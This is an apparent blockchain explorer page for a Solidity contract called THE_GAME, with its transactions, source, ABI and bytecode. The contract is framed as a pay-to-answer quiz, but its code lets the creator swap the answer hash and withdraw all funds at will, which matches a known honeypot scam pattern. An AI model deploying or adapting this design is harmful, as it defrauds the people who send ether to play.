Sponsored Link:   Ambrosus Main-Net Launching: Stake AMB in Masternodes and get regular rewards for maintaining network integrity.
Contract Overview
Balance: 0 Ether
Ether Value: $0
Transactions: 2 txns
 Latest 2 txns

TxHash Age From To Value [TxFee]
0xe2fa5e550132222e6cc80c99870f2280e92d434ca6f28d5831c99de76db7459525 days 15 hrs ago0x728295da063204bd553d64cde0fa09fbf7e745b5  IN   0xa0f9e5283fbf6d735e1e3a0f724ea6cccc13c27a1.03000238432998 Ether0.0000456304
0x12af76a67295db914a90f27485bd72ac7dc44d599432d2e3dc06528ac1639d0225 days 15 hrs ago0x728295da063204bd553d64cde0fa09fbf7e745b5  IN    Contract Creation0 Ether0.00063251666


[ Download CSV Export  ] 
 Internal Transactions as a result of Contract Execution
 Latest 1 Internal Transaction

ParentTxHash Block Age From To Value
0x82aedcf5fc5b63295ce88e04398084f61a1686e0bb26fc0ddfc3e6b742516796583859125 days 14 hrs ago0xa0f9e5283fbf6d735e1e3a0f724ea6cccc13c27a0xd19b5dac437122b718a592ec76844dcebdfef43d1.03000238432998 Ether
[ Download CSV Export  ] 
Contract Source Code Verified (Exact match)
Contract Name: THE_GAME
Compiler Version: v0.4.20+commit.3155dd80
Optimization Enabled: Yes
Runs (Optimiser):  200



  Contract Source Code   Find Similiar Contracts

pragma solidity ^0.4.20;

contract THE_GAME
{
    function Play(string _response)
    external
    payable
    {
        require(msg.sender == tx.origin);
        if(responseHash == keccak256(_response) && msg.value>1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    string public question;
 
    address questionSender;
  
    bytes32 responseHash;
 
    function StartGame(string _question,string _response)
    public
    payable
    {
        if(responseHash==0x0)
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
        }
    }
    
    function StopGame()
    public
    payable
    {
       require(msg.sender==questionSender);
       msg.sender.transfer(this.balance);
    }
    
    function NewQuestion(string _question, bytes32 _responseHash)
    public
    payable
    {
        require(msg.sender==questionSender);
        question = _question;
        responseHash = _responseHash;
    }
    
    function() public payable{}
}

    Contract ABI  
[{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"StartGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"NewQuestion","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Play","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"StopGame","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

  Contract Creation Code Switch To Opcodes View
6060604052341561000f57600080fd5b6105188061001e6000396000f30060606040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631f1c827f811461006e5780633e3ee859146100f65780633fad9ae01461013e578063648f0bde146101c8578063f50ab247146101db575b005b61006c60046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506101e395505050505050565b61006c60046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650509335935061028d92505050565b341561014957600080fd5b6101516102c2565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561018d578082015183820152602001610175565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61006c6004803560248101910135610360565b61006c6103f7565b600254151561028957806040518082805190602001908083835b6020831061021c5780518252601f1990920191602091820191016101fd565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051908190039020600255600082805161025f929160200190610451565b506001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790555b5050565b60015433600160a060020a039081169116146102a857600080fd5b60008280516102bb929160200190610451565b5060025550565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b505050505081565b32600160a060020a031633600160a060020a031614151561038057600080fd5b8181604051808383808284378201915050925050506040519081900390206002541480156103b55750670de0b6b3a764000034115b156102895733600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561028957600080fd5b60015433600160a060020a0390811691161461041257600080fd5b33600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561044f57600080fd5b565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061049257805160ff19168380011785556104bf565b828001600101855582156104bf579182015b828111156104bf5782518255916020019190600101906104a4565b506104cb9291506104cf565b5090565b6104e991905b808211156104cb57600081556001016104d5565b905600a165627a7a72305820f3dd51a1e40b8d08a7313d08d9f3aef9ee58a23fcb1f017f5107ba94f2d861f30029

   Swarm Source:
bzzr://f3dd51a1e40b8d08a7313d08d9f3aef9ee58a23fcb1f017f5107ba94f2d861f3

 

View All
Block Age txn Difficulty GasUsed Reward
View All
Block Age UncleNumber Difficulty GasUsed Reward
Make sure to use the "downvote" button for any spammy posts, and the "upvote" for interesting conversations.